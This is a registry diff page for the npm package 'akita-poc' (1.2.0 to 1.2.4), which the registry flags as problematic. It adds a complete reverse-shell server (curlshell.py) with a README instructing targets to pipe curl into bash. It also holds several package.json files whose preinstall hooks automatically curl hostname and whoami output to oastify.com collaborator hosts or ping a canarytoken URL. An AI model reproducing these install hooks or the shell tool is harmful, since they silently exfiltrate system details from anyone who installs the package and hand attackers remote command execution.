akita-poc 1.2.0 → 1.2.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of akita-poc might be problematic. Click here for more details.

@@ -0,0 +1,24 @@
1
+ # Reverse shell using curl
2
+
3
+ During security research, you may end up running code in an environment,
4
+ where establishing raw TCP connections to the outside world is not possible;
5
+ outgoing connection may only go through a connect proxy (HTTPS_PROXY).
6
+ This simple interactive HTTP server provides a way to mux
7
+ stdin/stdout and stderr of a remote reverse shell over that proxy with the
8
+ help of curl.
9
+
10
+ ## Usage
11
+
12
+ Start your listener:
13
+
14
+ ```
15
+ ./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234
16
+ ```
17
+
18
+ On the remote side:
19
+
20
+ ```
21
+ curl https://curlshell:1234 | bash
22
+ ```
23
+
24
+ That's it!
@@ -0,0 +1,220 @@
1
+ #!/usr/bin/env python3
2
+
3
+ from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
4
+ import ssl
5
+ import json
6
+ import argparse
7
+ import requests
8
+ import sys
9
+ import select
10
+ import threading
11
+ import os
12
+ import tty
13
+ import termios
14
+ from collections import defaultdict
15
+
16
+ # inspired by: https://stackoverflow.com/questions/29023885/python-socket-readline-without-socket-makefile
17
+ import socket
18
+ from asyncio import IncompleteReadError # only import the exception class
19
+
20
+ PTY_UPGRADE_CMD = "p=$(which python || which python3); s=$(which bash || which sh); if [ -n $p ]; then exec $p -c 'import pty;pty.spawn(\"'$s'\")'; fi"
21
+
22
+ class SocketStreamReader:
23
+ def __init__(self, sock: socket.socket):
24
+ self._sock = sock
25
+ self._recv_buffer = bytearray()
26
+
27
+ def read(self, num_bytes: int = -1) -> bytes:
28
+ raise NotImplementedError
29
+
30
+ def readexactly(self, num_bytes: int) -> bytes:
31
+ buf = bytearray(num_bytes)
32
+ pos = 0
33
+ while pos < num_bytes:
34
+ n = self._recv_into(memoryview(buf)[pos:])
35
+ if n == 0:
36
+ raise IncompleteReadError(bytes(buf[:pos]), num_bytes)
37
+ pos += n
38
+ return bytes(buf)
39
+
40
+ def readline(self) -> bytes:
41
+ return self.readuntil(b"\n")
42
+
43
+ def readuntil(self, separator: bytes = b"\n") -> bytes:
44
+ if len(separator) != 1:
45
+ raise ValueError("Only separators of length 1 are supported.")
46
+
47
+ chunk = bytearray(4096)
48
+ start = 0
49
+ buf = bytearray(len(self._recv_buffer))
50
+ bytes_read = self._recv_into(memoryview(buf))
51
+ assert bytes_read == len(buf)
52
+
53
+ while True:
54
+ idx = buf.find(separator, start)
55
+ if idx != -1:
56
+ break
57
+
58
+ start = len(self._recv_buffer)
59
+ bytes_read = self._recv_into(memoryview(chunk))
60
+ buf += memoryview(chunk)[:bytes_read]
61
+
62
+ result = bytes(buf[: idx + 1])
63
+ self._recv_buffer = b"".join(
64
+ (memoryview(buf)[idx + 1 :], self._recv_buffer)
65
+ )
66
+ return result
67
+
68
+ def _recv_into(self, view: memoryview) -> int:
69
+ bytes_read = min(len(view), len(self._recv_buffer))
70
+ view[:bytes_read] = self._recv_buffer[:bytes_read]
71
+ self._recv_buffer = self._recv_buffer[bytes_read:]
72
+ if bytes_read == len(view):
73
+ return bytes_read
74
+ bytes_read += self._sock.readinto1(view[bytes_read:])
75
+ if bytes_read <= 0:
76
+ raise Exception("end of stream")
77
+ return bytes_read
78
+
79
+ def eprint(*args, **kwargs):
80
+ print(*args, **kwargs, file=sys.stderr)
81
+
82
+ lock = threading.Lock()
83
+ lockdata = defaultdict(int)
84
+ def locker(c, d, should_exit):
85
+ if not should_exit:
86
+ return
87
+ lock.acquire()
88
+ try:
89
+ lockdata[c] += d
90
+ if d < 0:
91
+ s = 0
92
+ for k in lockdata:
93
+ v = lockdata[k]
94
+ s += v
95
+ if s <= 0:
96
+ eprint("Exiting")
97
+ os._exit(0)
98
+ finally:
99
+ lock.release()
100
+
101
+
102
+ class ConDispHTTPRequestHandler(BaseHTTPRequestHandler):
103
+
104
+ # this is receiving the output of the bash process on the remote end and prints it to the local terminal
105
+ def do_PUT(self):
106
+ self.server.should_exit = False
107
+ w = self.path[1:]
108
+ d = getattr(sys, w)
109
+ if not d:
110
+ raise Exception("Invalid request")
111
+ locker(w, 1, not self.server.args.serve_forever)
112
+ eprint(w, "stream connected")
113
+ sr = SocketStreamReader(self.rfile)
114
+ while True:
115
+ line = sr.readline()
116
+ chunksize = int(line, 16)
117
+ if chunksize <= 0:
118
+ break
119
+ data = sr.readexactly(chunksize)
120
+ d.buffer.write(data)
121
+ d.buffer.flush()
122
+ # chunk trailer
123
+ sr.readline()
124
+ eprint(w, "stream closed")
125
+ self.server.should_exit = True
126
+ locker(w, -1, not self.server.args.serve_forever)
127
+
128
+ def _feed(self, data):
129
+ if self.server.args.dependabot_workaround:
130
+ self.wfile.write(data.encode())
131
+ self.wfile.flush()
132
+ else:
133
+ self._send_chunk(data)
134
+
135
+ # this is feeding the bash process on the remote end with input typed in the local terminal
136
+ def do_POST(self):
137
+ eprint("stdin stream connected")
138
+ self.send_response(200)
139
+ self.send_header('Content-Type', "application/binary")
140
+ self.send_header('Transfer-Encoding', 'chunked')
141
+ self.end_headers()
142
+
143
+ locker("stdin", 1, not self.server.args.serve_forever)
144
+
145
+ if self.server.args.upgrade_pty:
146
+ eprint(PTY_UPGRADE_CMD)
147
+ self._feed(PTY_UPGRADE_CMD+"\n")
148
+
149
+ while True:
150
+ s = select.select([sys.stdin, self.request], [], [], 1)[0]
151
+ if self.server.should_exit:
152
+ break
153
+ if self.request in s:
154
+ # input broken
155
+ break
156
+ if sys.stdin in s:
157
+ data = sys.stdin.readline()
158
+ self._feed(data)
159
+ self._send_chunk("")
160
+ eprint("stdin stream closed")
161
+
162
+ locker("stdin", -1, not self.server.args.serve_forever)
163
+
164
+ def do_GET(self):
165
+ eprint("cmd request received from", self.client_address)
166
+ schema = "https" if self.server.args.certificate else "http"
167
+ host = self.headers["Host"]
168
+ cmd = f"stdbuf -i0 -o0 -e0 curl -X POST -s {schema}://{host}/input"
169
+ cmd+= f" | bash 2> >(curl -s -T - {schema}://{host}/stderr)"
170
+ cmd+= f" | curl -s -T - {schema}://{host}/stdout"
171
+ cmd+= "\n"
172
+ # sending back the complex command to be executed
173
+ self.send_response(200)
174
+ self.send_header('Content-Type', "text/plain")
175
+ self.send_header('Transfer-Encoding', 'chunked')
176
+ self.end_headers()
177
+ self._send_chunk(cmd)
178
+ self._send_chunk("")
179
+ eprint("bootstrapping command sent")
180
+
181
+ def _send_chunk(self, data):
182
+ if type(data) == str:
183
+ try:
184
+ data = data.encode()
185
+ except UnicodeEncodeError:
186
+ eprint("Invalid unicode character in the input, chunk not sent")
187
+ return
188
+ full_packet = '{:X}\r\n'.format(len(data)).encode()
189
+ full_packet += data
190
+ full_packet += b"\r\n"
191
+ self.wfile.write(full_packet)
192
+ self.wfile.flush()
193
+
194
+
195
+ def do_the_job(args):
196
+ httpd = ThreadingHTTPServer((args.listen_host, args.listen_port), ConDispHTTPRequestHandler)
197
+ setattr(httpd, "args", args)
198
+ setattr(httpd, "should_exit", False)
199
+ if args.certificate and args.private_key:
200
+ context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER )
201
+ context.load_cert_chain(args.certificate, args.private_key)
202
+ httpd.socket = context.wrap_socket(httpd.socket)
203
+ eprint(f"https listener starting {args.listen_host}:{args.listen_port}")
204
+ else:
205
+ eprint(f"plain http listener starting {args.listen_host}:{args.listen_port}")
206
+
207
+ # handle_request()
208
+ httpd.serve_forever()
209
+
210
+
211
+ if __name__ == "__main__":
212
+ parser = argparse.ArgumentParser(description="Usage on target: curl https://curlshell | bash")
213
+ parser.add_argument("--private-key", help="path to the private key for TLS")
214
+ parser.add_argument("--certificate", help="path to the certificate for TLS")
215
+ parser.add_argument("--listen-host", default="0.0.0.0", help="host to listen on")
216
+ parser.add_argument("--listen-port", type=int, default=443, help="port to listen on")
217
+ parser.add_argument("--serve-forever", default=False, action='store_true', help="whether the server should exit after processing a session (just like nc would)")
218
+ parser.add_argument("--dependabot-workaround", action='store_true', default=False, help="transfer-encoding support in the dependabot proxy is broken, it rewraps the raw chunks. This is a workaround.")
219
+ parser.add_argument("--upgrade-pty", action='store_true', default=False, help=f"When a connection is established, attempt to invoke python to create a pseudo-terminal to improve the shell experience.")
220
+ do_the_job(parser.parse_args())
@@ -0,0 +1,3 @@
1
+ // index.js
2
+ console.log("odin package");
3
+
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "nordic-dev",
3
+ "version": "1.0.2",
4
+ "description": "poc",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "curl --data-urlencode info=$() http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
9
+ },
10
+ "author": "Akita",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "account": "^1.0.0"
14
+ }
15
+ }
@@ -0,0 +1,3 @@
1
+ // index.js
2
+ console.log("odin package");
3
+
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "odin-security",
3
+ "version": "8.8.88",
4
+ "description": "poc",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "curl --data-urlencode info=$(hostname) http://mb17elapg37wp9tcg02w80r0frlr9hx6.oastify.com"
9
+ },
10
+ "author": "Akita",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "account": "^1.0.0"
14
+ }
15
+ }
File without changes
package/package.json CHANGED
@@ -1,15 +1,16 @@
1
1
  {
2
2
  "name": "akita-poc",
3
- "version": "1.2.0",
3
+ "version": "1.2.4",
4
4
  "description": "poc",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1",
8
- "preinstall": "curl --data-urlencode info=$(hostname && whoami) http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
8
+ "preinstall": "curl http://canarytokens.com/static/vku44mbctn82d4rl7is2qznz5/submit.aspx"
9
9
  },
10
10
  "author": "Akita",
11
11
  "license": "ISC",
12
12
  "dependencies": {
13
- "account": "^1.0.0"
13
+ "account": "^1.0.0",
14
+ "akita-poc": "^1.2.3"
14
15
  }
15
16
  }
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "odin-security",
3
+ "version": "8.8.88",
4
+ "description": "poc",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "curl --data-urlencode info=$(hostname) http://479pa367cl3elrpuciye4inib9h65wtl.oastify.com"
9
+ },
10
+ "author": "Akita",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "account": "^1.0.0"
14
+ }
15
+ }